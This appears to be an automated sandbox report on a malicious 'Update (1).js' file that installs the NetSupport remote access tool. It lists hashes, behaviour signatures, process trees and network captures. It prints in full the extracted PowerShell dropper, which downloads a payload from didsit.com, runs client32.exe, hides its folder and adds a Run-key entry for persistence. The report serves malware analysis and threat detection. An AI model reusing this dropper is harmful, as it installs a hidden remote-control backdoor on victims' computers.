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Overview

overview

10

Static

static

1

Update (1).js

windows7-x64

8

Update (1).js

windows10-2004-x64

10

Analysis

  • max time kernel
    12s
  • max time network
    14s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/08/2024, 12:54 UTC

Sharing

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General

  • Target

    Update (1).js

  • Size

    3.9MB

  • MD5

    c4aefe9f1ce6862df4f981938a2147f1

  • SHA1

    21e080d2a38237413aad3d5fa5b54307430eb864

  • SHA256

    7f76bf19775cb619c66e6636e463fb75f8d2e1c279c7d02806eb5d0674728b02

  • SHA512

    c274cca49452500c9e5cdf4316a9be130df1a2b54e376ba23d2ba9f14fb5d01f30afc4b5aeca184c11a5eba6f7eef8c851c843083b0ee8c474ad1765b49021d8

  • SSDEEP

    49152:6sz6FvpOiHY7sz6FvpOiHYXsz6FvpOiHY7sz6FvpOiHYnsz6FvpOiHY7sz6FvpOQ:60WQ0Ws0WQ0We0WQ0W5

Score
10/10
netsupportdiscoveryexecutionpersistencerat

Malware Config

Extracted

Language
ps1
Source
1
$MXIVJXBN='http://didsit.com/data.php?9427';$BXTZSF=(New-Object System.Net.WebClient).DownloadString($MXIVJXBN);$FREE=[System.Convert]::FromBase64String($BXTZSF);$asd = Get-Random -Minimum -10 -Maximum 17; $LXFQCVH=[System.Environment]::GetFolderPath('ApplicationData')+'\JSPFTPKGDNA'+$asd;if (!(Test-Path $LXFQCVH -PathType Container)) { New-Item -Path $LXFQCVH -ItemType Directory };$p=Join-Path $LXFQCVH 'CCleaner.zip';[System.IO.File]::WriteAllBytes($p,$FREE);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LXFQCVH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LXFQCVH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LXFQCVH -Force; $fd.attributes='Hidden';$s=$LXFQCVH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='MBASA';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
URLs
ps1.dropper

http://didsit.com/data.php?9427
exe.dropper

http://didsit.com/data.php?9427

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

    ratnetsupport
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Update (1).js"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4488
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $MXIVJXBN='http://didsit.com/data.php?9427';$BXTZSF=(New-Object System.Net.WebClient).DownloadString($MXIVJXBN);$FREE=[System.Convert]::FromBase64String($BXTZSF);$asd = Get-Random -Minimum -10 -Maximum 17; $LXFQCVH=[System.Environment]::GetFolderPath('ApplicationData')+'\JSPFTPKGDNA'+$asd;if (!(Test-Path $LXFQCVH -PathType Container)) { New-Item -Path $LXFQCVH -ItemType Directory };$p=Join-Path $LXFQCVH 'CCleaner.zip';[System.IO.File]::WriteAllBytes($p,$FREE);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LXFQCVH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LXFQCVH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LXFQCVH -Force; $fd.attributes='Hidden';$s=$LXFQCVH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='MBASA';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5004
      • C:\Users\Admin\AppData\Roaming\JSPFTPKGDNA1\client32.exe
        "C:\Users\Admin\AppData\Roaming\JSPFTPKGDNA1\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1948

Network

  • flag-us
    DNS
    writeindia.com
    wscript.exe
    Remote address:
    8.8.8.8:53
    Request
    writeindia.com
    IN A
    Response
    writeindia.com
    IN A
    37.1.210.252
  • flag-us
    POST
    https://writeindia.com/cdn-vs/download.php?631
    wscript.exe
    Remote address:
    37.1.210.252:443
    Request
    POST /cdn-vs/download.php?631 HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    Accept-Language: en-US
    User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
    Content-Length: 0
    Host: writeindia.com
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Fri, 09 Aug 2024 12:55:02 GMT
    Content-Type: application/octet-stream
    Content-Length: 2333605
    Connection: keep-alive
    Content-Description: File Transfer
    Content-Disposition: attachment; filename=updates.js
    Content-Transfer-Encoding: binary
    Expires: 0
    Cache-Control: must-revalidate
    Pragma: public
  • flag-us
    DNS
    252.210.1.37.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    252.210.1.37.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    4.159.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    4.159.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    didsit.com
    powershell.exe
    Remote address:
    8.8.8.8:53
    Request
    didsit.com
    IN A
    Response
    didsit.com
    IN A
    37.1.210.252
  • flag-us
    GET
    http://didsit.com/data.php?9427
    powershell.exe
    Remote address:
    37.1.210.252:80
    Request
    GET /data.php?9427 HTTP/1.1
    Host: didsit.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Fri, 09 Aug 2024 12:55:04 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Vary: Accept-Encoding
  • flag-us
    DNS
    geo.netsupportsoftware.com
    client32.exe
    Remote address:
    8.8.8.8:53
    Request
    geo.netsupportsoftware.com
    IN A
    Response
    geo.netsupportsoftware.com
    IN A
    104.26.0.231
    geo.netsupportsoftware.com
    IN A
    104.26.1.231
    geo.netsupportsoftware.com
    IN A
    172.67.68.212
  • flag-us
    GET
    http://geo.netsupportsoftware.com/location/loca.asp
    client32.exe
    Remote address:
    104.26.0.231:80
    Request
    GET /location/loca.asp HTTP/1.1
    Host: geo.netsupportsoftware.com
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Fri, 09 Aug 2024 12:55:09 GMT
    Content-Type: text/html; charset=us-ascii
    Transfer-Encoding: chunked
    Connection: keep-alive
    CF-Ray: 8b07e61e38ba6382-LHR
    CF-Cache-Status: DYNAMIC
    cf-apo-via: origin,host
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z1lfs69qf7waO6pYbk1QyzItY7wRUhok%2F2UzvrtuI2NFFb2zx2ZU0%2BbpNWqGcsD6FfZeIraQJSubTEZEWTLNHevf3RM41icmcw9gyJx7PUi2t%2BhK6ig83eDiPfbcW4vQKqkGSlcWzyF51OPl"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
  • flag-us
    GET
    http://geo.netsupportsoftware.com/location/loca.asp
    client32.exe
    Remote address:
    104.26.0.231:80
    Request
    GET /location/loca.asp HTTP/1.1
    Host: geo.netsupportsoftware.com
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Fri, 09 Aug 2024 12:55:10 GMT
    Content-Type: text/html; charset=us-ascii
    Transfer-Encoding: chunked
    Connection: keep-alive
    CF-Ray: 8b07e61f19967779-LHR
    CF-Cache-Status: DYNAMIC
    cf-apo-via: origin,host
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ti%2Bc9b71qRMvUwPE5QYtYwtZu4PG5NPbsaNCd0yEpLtjDLX6FsD79zE2I60xpMCB51NKXyRZQnQoWTu1CvGGjkCKiAjc%2F9ow5I2QG7seBYpfJ6T%2BHvHqPNDJi%2FTZSJYACCELOs5sSTsvGNW%2F"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
  • flag-us
    GET
    http://geo.netsupportsoftware.com/location/loca.asp
    client32.exe
    Remote address:
    104.26.0.231:80
    Request
    GET /location/loca.asp HTTP/1.1
    Host: geo.netsupportsoftware.com
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Fri, 09 Aug 2024 12:55:10 GMT
    Content-Type: text/html; charset=us-ascii
    Transfer-Encoding: chunked
    Connection: keep-alive
    CF-Ray: 8b07e61fd8a1653f-LHR
    CF-Cache-Status: DYNAMIC
    cf-apo-via: origin,host
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LJ1%2FRqEVenAY6t8x7m%2B7eFkxPgvFlTnTniLHY8IvlRyZn9UatTIGvP1TzthEeQqQ0tjpvJFuHBbwPJ3px8U11vx3juwJuskKM3243O5D1w5sv8e29FkDRecDSC383cf0KKAwSH8fRy33PzGK"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
  • flag-us
    DNS
    28.159.181.5.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    28.159.181.5.in-addr.arpa
    IN PTR
    Response
    28.159.181.5.in-addr.arpa
    IN PTR
    no-rdns mivocloudcom
  • flag-us
    DNS
    231.0.26.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    231.0.26.104.in-addr.arpa
    IN PTR
    Response
  • 37.1.210.252:443
    https://writeindia.com/cdn-vs/download.php?631
    tls, http
    wscript.exe
    69.0kB
     2.4MB
     1274
    1735

    HTTP Request

    POST https://writeindia.com/cdn-vs/download.php?631

    HTTP Response

    200
  • 37.1.210.252:80
    http://didsit.com/data.php?9427
    http
    powershell.exe
    85.6kB
     3.7MB
     1726
    2658

    HTTP Request

    GET http://didsit.com/data.php?9427

    HTTP Response

    200
  • 5.181.159.28:443
    http
    client32.exe
    1.4kB
     733 B
     6
    5
  • 104.26.0.231:80
    http://geo.netsupportsoftware.com/location/loca.asp
    http
    client32.exe
    440 B
     1.1kB
     7
    4

    HTTP Request

    GET http://geo.netsupportsoftware.com/location/loca.asp

    HTTP Response

    404
  • 104.26.0.231:80
    http://geo.netsupportsoftware.com/location/loca.asp
    http
    client32.exe
    440 B
     1.1kB
     7
    4

    HTTP Request

    GET http://geo.netsupportsoftware.com/location/loca.asp

    HTTP Response

    404
  • 104.26.0.231:80
    http://geo.netsupportsoftware.com/location/loca.asp
    http
    client32.exe
    440 B
     1.1kB
     7
    4

    HTTP Request

    GET http://geo.netsupportsoftware.com/location/loca.asp

    HTTP Response

    404
  • 8.8.8.8:53
    writeindia.com
    dns
    wscript.exe
    60 B
     76 B
     1
    1

    DNS Request

    writeindia.com

    DNS Response

    37.1.210.252

  • 8.8.8.8:53
    252.210.1.37.in-addr.arpa
    dns
    71 B
     135 B
     1
    1

    DNS Request

    252.210.1.37.in-addr.arpa

  • 8.8.8.8:53
    4.159.190.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    4.159.190.20.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
     144 B
     1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    didsit.com
    dns
    powershell.exe
    56 B
     72 B
     1
    1

    DNS Request

    didsit.com

    DNS Response

    37.1.210.252

  • 8.8.8.8:53
    geo.netsupportsoftware.com
    dns
    client32.exe
    72 B
     120 B
     1
    1

    DNS Request

    geo.netsupportsoftware.com

    DNS Response

    104.26.0.231
    104.26.1.231
    172.67.68.212

  • 8.8.8.8:53
    28.159.181.5.in-addr.arpa
    dns
    71 B
     106 B
     1
    1

    DNS Request

    28.159.181.5.in-addr.arpa

  • 8.8.8.8:53
    231.0.26.104.in-addr.arpa
    dns
    71 B
     133 B
     1
    1

    DNS Request

    231.0.26.104.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ihlmgskb.jbi.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • C:\Users\Admin\AppData\Roaming\JSPFTPKGDNA1\HTCTL32.DLL
    Filesize

    320KB

    MD5

    c94005d2dcd2a54e40510344e0bb9435

    SHA1

    55b4a1620c5d0113811242c20bd9870a1e31d542

    SHA256

    3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

    SHA512

    2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

    Download Submit

  • C:\Users\Admin\AppData\Roaming\JSPFTPKGDNA1\MSVCR100.dll
    Filesize

    755KB

    MD5

    0e37fbfa79d349d672456923ec5fbbe3

    SHA1

    4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

    SHA256

    8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

    SHA512

    2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

    Download Submit

  • C:\Users\Admin\AppData\Roaming\JSPFTPKGDNA1\NSM.LIC
    Filesize

    195B

    MD5

    e9609072de9c29dc1963be208948ba44

    SHA1

    03bbe27d0d1ba651ff43363587d3d6d2e170060f

    SHA256

    dc6a52ad6d637eb407cc060e98dfeedcca1167e7f62688fb1c18580dd1d05747

    SHA512

    f0e26aa63b0c7f1b31074b9d6eef88d0cfbc467f86b12205cb539a45b0352e77ce2f99f29baeab58960a197714e72289744143ba17975699d058fe75d978dfd0

    Download Submit

  • C:\Users\Admin\AppData\Roaming\JSPFTPKGDNA1\PCICHEK.DLL
    Filesize

    18KB

    MD5

    104b30fef04433a2d2fd1d5f99f179fe

    SHA1

    ecb08e224a2f2772d1e53675bedc4b2c50485a41

    SHA256

    956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

    SHA512

    5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

    Download Submit

  • C:\Users\Admin\AppData\Roaming\JSPFTPKGDNA1\PCICL32.DLL
    Filesize

    3.6MB

    MD5

    d3d39180e85700f72aaae25e40c125ff

    SHA1

    f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

    SHA256

    38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

    SHA512

    471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

    Download Submit

  • C:\Users\Admin\AppData\Roaming\JSPFTPKGDNA1\client32.exe
    Filesize

    101KB

    MD5

    c4f1b50e3111d29774f7525039ff7086

    SHA1

    57539c95cba0986ec8df0fcdea433e7c71b724c6

    SHA256

    18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

    SHA512

    005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

    Download Submit

  • C:\Users\Admin\AppData\Roaming\JSPFTPKGDNA1\client32.ini
    Filesize

    668B

    MD5

    a7d077a1aa3244f7251c1f0ffe6b875f

    SHA1

    b32ba9dcab9d5108b1b887e7dcea339b7e5467d4

    SHA256

    0eb705d2d4fabb4350c7c3bfd097ee2ad74db89283b7b6bd35a6c89bfaee7eb3

    SHA512

    c4e6a7142a7cc29e188e791ad3834037f029c717bb58942dda592732791d9ea056e84d27bf6a73d39e7c4ed98128236545b070d835208d75c83ebad149ecb4b8

    Download Submit

  • C:\Users\Admin\AppData\Roaming\JSPFTPKGDNA1\pcicapi.dll
    Filesize

    32KB

    MD5

    34dfb87e4200d852d1fb45dc48f93cfc

    SHA1

    35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

    SHA256

    2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

    SHA512

    f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

    Download Submit

  • memory/5004-15-0x000001C955C00000-0x000001C955C12000-memory.dmp

    Filesize

    72KB

    Download

  • memory/5004-14-0x000001C93D9B0000-0x000001C93D9BA000-memory.dmp

    Filesize

    40KB

    Download

  • memory/5004-87-0x00007FFFE4170000-0x00007FFFE4C31000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/5004-12-0x00007FFFE4170000-0x00007FFFE4C31000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/5004-0-0x00007FFFE4173000-0x00007FFFE4175000-memory.dmp

    Filesize

    8KB

    Download

  • memory/5004-11-0x00007FFFE4170000-0x00007FFFE4C31000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/5004-1-0x000001C93D970000-0x000001C93D992000-memory.dmp

    Filesize

    136KB

    Download

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